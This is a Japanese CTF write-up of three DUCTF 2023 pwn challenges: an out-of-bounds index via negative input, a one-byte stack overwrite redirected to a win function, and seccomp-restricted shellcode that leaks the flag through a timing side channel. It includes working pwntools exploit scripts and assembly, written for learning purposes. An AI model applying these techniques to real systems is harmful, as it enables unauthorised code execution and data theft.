🦘

DUCTF2023 Writeup

2023/09/04に公開

downunderflow

範囲外参照の問題です。
この問題はソースコードが配布されるので確認します。
logins[idx]=="admin"を成立させればクリアですが、7以上の入力ははじかれてしまいます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };

void init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

int read_int_lower_than(int bound) {
    int x;
    scanf("%d", &x);
    if(x >= bound) {
        puts("Invalid input!");
        exit(1);
    }
    return x;
}

int main() {
    init();

    printf("Select user to log in as: ");
    unsigned short idx = read_int_lower_than(NUM_USERS - 1);
    printf("Logging in as %s\n", logins[idx]);
    if(strncmp(logins[idx], "admin", 5) == 0) {
        puts("Welcome admin.");
        system("/bin/sh");
    } else {
        system("/bin/date");
    }
}

しかし、マイナス値の入力検証はしていないため、logins[idx]=="admin"になるようなマイナスの整数を入力すればよいです。

gdbでディスアセンブル結果を確認すると入力された値の下位2バイトを使い、参照先を決定しているので、-65529(0xfff9)を入力すればシェルを取れます。

 0x555555555309 <main+44>    call   read_int_lower_than                <read_int_lower_than>

 ► 0x55555555530e <main+49>    mov    word ptr [rbp - 2], ax
   0x555555555312 <main+53>    movzx  eax, word ptr [rbp - 2]
   0x555555555316 <main+57>    movsxd rdx, eax

以下Flag

DUCTF{-65529_==_7_(mod_65536)}

one byte

1バイトの上書きでシェルを取れますか?という問題でした。

ソースコード
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

void win() {
    system("/bin/sh");
}

int main() {
    init();

    printf("Free junk: 0x%lx\n", init);
    printf("Your turn: ");

    char buf[0x10];
    read(0, buf, 0x11);
}

セキュリティ緩和機構は以下の通りです。
canaryがなく、32bitバイナリであることがわかりました。

$ checksec onebyte
[*] '/home/ubuntu/workspace/ctf/ductf2023/one_byte/onebyte'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

次にgdbでreadにb"a"*0x11を入力した際の挙動を見てみます。
以下のpop 命令で、1文字だけ上書きしたスタック内の値がecxに入ります。
また、retの直前にecx-0x4のアドレスをespに転送しています。

 ► 0x56556296 <main+104>                   pop    ecx
   0x56556297 <main+105>                   pop    ebx
   0x56556298 <main+106>                   pop    ebp
   0x56556299 <main+107>                   lea    esp, [ecx - 4]
   0x5655629c <main+110>                   ret

この際に転送される値を確認すると、stackアドレスの範囲を指していることがわかります。

main関数内のreadでは、stack内に入力値を格納するので、win関数の開始アドレスを入力し、上書きする1byteでwin関数のアドレスを指してあげるようにすればクリアです。

※PIEは有効ですが、このバイナリはinit関数のアドレスをリークしてくれます。
このアドレスからwin関数のアドレスを特定できます。

※stackアドレスは実行ごとに変化してしまいますが、末尾1nibbleがキリのいい数値になっていれば現実的な確率(1/16)でwin関数にジャンプします。

from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *main+88
b *main+93
continue
'''.format(**locals())


exe = "./onebyte"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'


for _ in range(32):
    io = start()

    io.recvuntil(b"Free junk: ")
    elf_leak = int(io.recvline()[:-1],16)
    info("elf_leak %#x",elf_leak)

    elf_base = elf_leak - 0x1bd -0x1000
    info("elf base %#x",elf_base )

    elf.address = elf_base

    win = elf.sym["win"]

    payload = p32(win) *4
    payload += b"\x34"

    io.send(payload)

    io.interactive()

# DUCTF{all_1t_t4k3s_is_0n3!}
 

the great escape

シェルコード問です。
限られたシステムコールでflagが取れますか?という問題でした。
ソースコードは配布されないのでGhidraなどで逆コンパイルしてみると、入力した値が関数としていることがわかります。

また、seccomp関数により使えるシステムコールは、openat,read,nanosleep,exitのみとなっています。

nanosleepが使えるので第一引数にflagの文字列を一文字ずつ渡し、文字コード秒スリープさせることでflagリークできないかと考えました。
しかし問題サーバは60秒で接続を切ってしまう(多分)のでこの方法だと上手くいきませんでした。(そもそも時間がかかりすぎるという問題もある)

そのため、readのみを使う方法に切り替えました。

  1. openat -> read(fd,buf,60)でflagを読み取る
  2. read(0,buf,1)で標準入力から1文字入力し、bufに格納する
  3. flag文字列内の1文字と入力した1文字を比較し、真なら即時exit,偽なら無限ループさせる

あとはソルバーを書くだけ。

from pwn import *
import time
import string

CHARACTERS = string.printable

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *main
continue
'''.format(**locals())


exe = "./jail"
context.arch = "amd64"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

res = "DUCTF{"

for i in range(6,60):
    sc = asm(f"""
    openat:
    xor rdi,rdi
    xor rsi,rsi
    xor rdx,rdx
    mov edi, -100
    lea rsi, [rip+filename]
    mov rax,257 
    syscall        
    
    read:
    mov rdi,rax
    push 0
    mov rsi,rsp
    mov rdx,60
    xor rax,rax
    syscall

    xor rbx,rbx
    mov bl, [rsi+{i}]

    read2:
    mov rdi,0
    push 0
    mov rsi,rsp
    mov rdx,1
    xor rax,rax
    syscall

    xor rcx,rcx
    mov cl, [rsi]

    loop:
    cmp cl,bl
    jne loop
    jmp exit

    exit:
    mov rax, 0x3c
    syscall

    filename:
    .string "/chal/flag.txt"
""")

    
    for c in CHARACTERS:
        io = start()
        before = time.time()
        io.sendline(sc)
        io.sendline(c.encode())

        io.clean(timeout=0.5)
        after = time.time()
        code = after - before
        io.close()
    
        print(code)
        if code < 0.5:
            res+=c
            info("res is: %s",res)
            break
    
    if res[-1] == "}":
        break


print(res)

#DUCTF{S1de_Ch@nN3l_aTT4ckS_aRe_Pr3tTy_c00L!}

※このバイナリでは入力値を受け取るのにfgets関数を使っているため、10文字目を指定する際にshellcode内に0xaが入ってしまい、即時エラーが発生してしまいます。
そのため、10文字目だけはadd命令などを使って0xaが入らないようにする必要があります。
競技中はこれにまんまとハマりました。

Discussion